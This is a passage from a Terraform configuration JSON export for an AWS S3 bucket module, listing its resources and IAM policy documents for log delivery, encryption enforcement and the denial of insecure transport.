     \"references\": [\n                          \"var.inventory_configuration\",\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_lifecycle_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_lifecycle_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.lifecycle_rules\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_versioning.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_logging.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_logging\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"target_bucket\": {\n                          \"references\": [\n                            \"var.logging[\\\"target_bucket\\\"]\",\n                            \"var.logging\"\n                          ]\n                        },\n                        \"target_prefix\": {\n                          \"references\": [\n                            \"var.logging[\\\"target_prefix\\\"]\",\n                            \"var.logging\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.logging\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_metric.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_metric\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"name\": {\n                          \"references\": [\n                            \"each.value.name\",\n                            \"each.value\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"for_each_expression\": {\n                        \"references\": [\n                          \"local.metric_configuration\",\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_object_lock_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_object_lock_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        },\n                        \"rule\": [\n                          {\n                            \"default_retention\": [\n                              {\n                                \"days\": {\n                                  \"references\": [\n                                    \"var.object_lock_configuration.rule.default_retention.days\",\n                                    \"var.object_lock_configuration.rule.default_retention\",\n                                    \"var.object_lock_configuration.rule\",\n                                    \"var.object_lock_configuration\"\n                                  ]\n                                },\n                                \"mode\": {\n                                  \"references\": [\n                                    \"var.object_lock_configuration.rule.default_retention.mode\",\n                                    \"var.object_lock_configuration.rule.default_retention\",\n                                    \"var.object_lock_configuration.rule\",\n                                    \"var.object_lock_configuration\"\n                                  ]\n                                },\n                                \"years\": {\n                                  \"references\": [\n                                    \"var.object_lock_configuration.rule.default_retention.years\",\n                                    \"var.object_lock_configuration.rule.default_retention\",\n                                    \"var.object_lock_configuration.rule\",\n                                    \"var.object_lock_configuration\"\n                                  ]\n                                }\n                              }\n                            ]\n                          }\n                        ],\n                        \"token\": {\n                          \"references\": [\n                            \"var.object_lock_configuration.token\",\n                            \"var.object_lock_configuration\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.object_lock_enabled\",\n                          \"var.object_lock_configuration.rule.default_retention\",\n                          \"var.object_lock_configuration.rule\",\n                          \"var.object_lock_configuration\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_ownership_controls.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_ownership_controls\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"local.attach_policy\",\n                            \"aws_s3_bucket_policy.this[0].id\",\n                            \"aws_s3_bucket_policy.this[0]\",\n                            \"aws_s3_bucket_policy.this\",\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"rule\": [\n                          {\n                            \"object_ownership\": {\n                              \"references\": [\n                                \"var.object_ownership\"\n                              ]\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.control_object_ownership\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_policy.this\",\n                        \"aws_s3_bucket_public_access_block.this\",\n                        \"aws_s3_bucket.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_policy.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_policy\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"policy\": {\n                          \"references\": [\n                            \"data.aws_iam_policy_document.combined[0].json\",\n                            \"data.aws_iam_policy_document.combined[0]\",\n                            \"data.aws_iam_policy_document.combined\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.attach_policy\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_public_access_block.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_public_access_block.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_public_access_block\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"block_public_acls\": {\n                          \"references\": [\n                            \"var.block_public_acls\"\n                          ]\n                        },\n                        \"block_public_policy\": {\n                          \"references\": [\n                            \"var.block_public_policy\"\n                          ]\n                        },\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"ignore_public_acls\": {\n                          \"references\": [\n                            \"var.ignore_public_acls\"\n                          ]\n                        },\n                        \"restrict_public_buckets\": {\n                          \"references\": [\n                            \"var.restrict_public_buckets\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_public_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_replication_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_replication_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"role\": {\n                          \"references\": [\n                            \"var.replication_configuration[\\\"role\\\"]\",\n                            \"var.replication_configuration\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.replication_configuration\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_versioning.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_request_payment_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_request_payment_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        },\n                        \"payer\": {\n                          \"references\": [\n                            \"var.request_payer\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.request_payer\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_server_side_encryption_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_server_side_encryption_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.server_side_encryption_configuration\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_versioning.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_versioning\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        },\n                        \"mfa\": {\n                          \"references\": [\n                            \"var.versioning[\\\"mfa\\\"]\",\n                            \"var.versioning\"\n                          ]\n                        },\n                        \"versioning_configuration\": [\n                          {\n                            \"mfa_delete\": {\n                              \"references\": [\n                                \"var.versioning[\\\"mfa_delete\\\"]\",\n                                \"var.versioning\",\n                                \"var.versioning[\\\"mfa_delete\\\"]\",\n                                \"var.versioning\"\n                              ]\n                            },\n                            \"status\": {\n                              \"references\": [\n                                \"var.versioning[\\\"enabled\\\"]\",\n                                \"var.versioning\",\n                                \"var.versioning[\\\"status\\\"]\",\n                                \"var.versioning\",\n                                \"var.versioning[\\\"status\\\"]\",\n                                \"var.versioning\"\n                              ]\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.versioning\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_website_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_website_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.website\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_caller_identity.current\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_caller_identity\",\n                      \"name\": \"current\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"schema_version\": 0\n                    },\n                    {\n                      \"address\": \"data.aws_canonical_user_id.this\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_canonical_user_id\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.create_bucket_acl\",\n                          \"var.owner[\\\"id\\\"]\",\n                          \"var.owner\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.access_log_delivery\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"access_log_delivery\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"logging.s3.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"AWSAccessLogDeliveryWrite\"\n                            }\n                          },\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:GetBucketAcl\"\n                              ]\n                            },\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"logging.s3.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"AWSAccessLogDeliveryAclCheck\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_access_log_delivery_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.combined\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"combined\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"source_policy_documents\": {\n                          \"references\": [\n                            \"var.attach_elb_log_delivery_policy\",\n                            \"data.aws_iam_policy_document.elb_log_delivery[0].json\",\n                            \"data.aws_iam_policy_document.elb_log_delivery[0]\",\n                            \"data.aws_iam_policy_document.elb_log_delivery\",\n                            \"var.attach_lb_log_delivery_policy\",\n                            \"data.aws_iam_policy_document.lb_log_delivery[0].json\",\n                            \"data.aws_iam_policy_document.lb_log_delivery[0]\",\n                            \"data.aws_iam_policy_document.lb_log_delivery\",\n                            \"var.attach_access_log_delivery_policy\",\n                            \"data.aws_iam_policy_document.access_log_delivery[0].json\",\n                            \"data.aws_iam_policy_document.access_log_delivery[0]\",\n                            \"data.aws_iam_policy_document.access_log_delivery\",\n                            \"var.attach_require_latest_tls_policy\",\n                            \"data.aws_iam_policy_document.require_latest_tls[0].json\",\n                            \"data.aws_iam_policy_document.require_latest_tls[0]\",\n                            \"data.aws_iam_policy_document.require_latest_tls\",\n                            \"var.attach_deny_insecure_transport_policy\",\n                            \"data.aws_iam_policy_document.deny_insecure_transport[0].json\",\n                            \"data.aws_iam_policy_document.deny_insecure_transport[0]\",\n                            \"data.aws_iam_policy_document.deny_insecure_transport\",\n                            \"var.attach_deny_unencrypted_object_uploads\",\n                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads[0].json\",\n                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads[0]\",\n                            \"data.aws_iam_policy_document.deny_unencrypted_object_uploads\",\n                            \"var.attach_deny_incorrect_kms_key_sse\",\n                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0].json\",\n                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0]\",\n                            \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse\",\n                            \"var.attach_deny_incorrect_encryption_headers\",\n                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers[0].json\",\n                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers[0]\",\n                            \"data.aws_iam_policy_document.deny_incorrect_encryption_headers\",\n                            \"var.attach_inventory_destination_policy\",\n                            \"var.attach_analytics_destination_policy\",\n                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0].json\",\n                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0]\",\n                            \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy\",\n                            \"var.attach_policy\",\n                            \"var.policy\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.attach_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.deny_incorrect_encryption_headers\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"deny_incorrect_encryption_headers\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringNotEquals\"\n                                },\n                                \"values\": {\n                                  \"references\": [\n                                    \"var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm\",\n                                    \"var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default\",\n                                    \"var.server_side_encryption_configuration.rule\",\n                                    \"var.server_side_encryption_configuration\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-server-side-encryption\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyIncorrectEncryptionHeaders\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_deny_incorrect_encryption_headers\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.deny_incorrect_kms_key_sse\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"deny_incorrect_kms_key_sse\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringNotEquals\"\n                                },\n                                \"values\": {\n                                  \"references\": [\n                                    \"var.allowed_kms_key_arn\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-server-side-encryption-aws-kms-key-id\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyIncorrectKmsKeySse\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_deny_incorrect_kms_key_sse\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.deny_insecure_transport\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"deny_insecure_transport\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:*\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"Bool\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    \"false\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"aws:SecureTransport\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\",\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyInsecureTransport\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_deny_insecure_transport_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.deny_unencrypted_object_uploads\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"deny_unencrypted_object_uploads\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"Null\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    true\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-server-side-encryption\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyUnencryptedObjectUploads\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_deny_unencrypted_object_uploads\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.elb_log_delivery\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"elb_log_delivery\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"logdelivery.elasticloadbalancing.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_elb_log_delivery_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"inventory_and_analytics_destination_policy\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"ArnLike\"\n                                },\n                                \"values\": {\n                                  \"references\": [\n                                    \"var.inventory_self_source_destination\",\n                                    \"aws_s3_bucket.this[0].arn\",\n                                    \"aws_s3_bucket.this[0]\",\n                                    \"aws_s3_bucket.this\",\n                                    \"var.inventory_source_bucket_arn\",\n                                    \"var.analytics_self_source_destination\",\n                                    \"aws_s3_bucket.this[0].arn\",\n                                    \"aws_s3_bucket.this[0]\",\n                                    \"aws_s3_bucket.this\",\n                                    \"var.analytics_source_bucket_arn\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"aws:SourceArn\"\n                                }\n                              },\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringEquals\"\n                                },\n                                \"values\": {\n                                  \"references\": [\n                                    \"var.inventory_self_source_destination\",\n                                    \"data.aws_caller_identity.current.id\",\n                                    \"data.aws_caller_identity.current\",\n                                    \"var.inventory_source_account_id\",\n                                    \"var.analytics_self_source_destination\",\n                                    \"data.aws_caller_identity.current.id\",\n                                    \"data.aws_caller_identity.current\",\n                                    \"var.analytics_source_account_id\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"aws:SourceAccount\"\n                                }\n                              },\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringEquals\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    \"bucket-owner-full-control\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-acl\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"s3.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"destinationInventoryAndAnalyticsPolicy\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_inventory_destination_policy\",\n                          \"var.attach_analytics_destination_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.lb_log_delivery\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"lb_log_delivery\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringEquals\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    \"bucket-owner-full-control\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-acl\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"delivery.logs.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            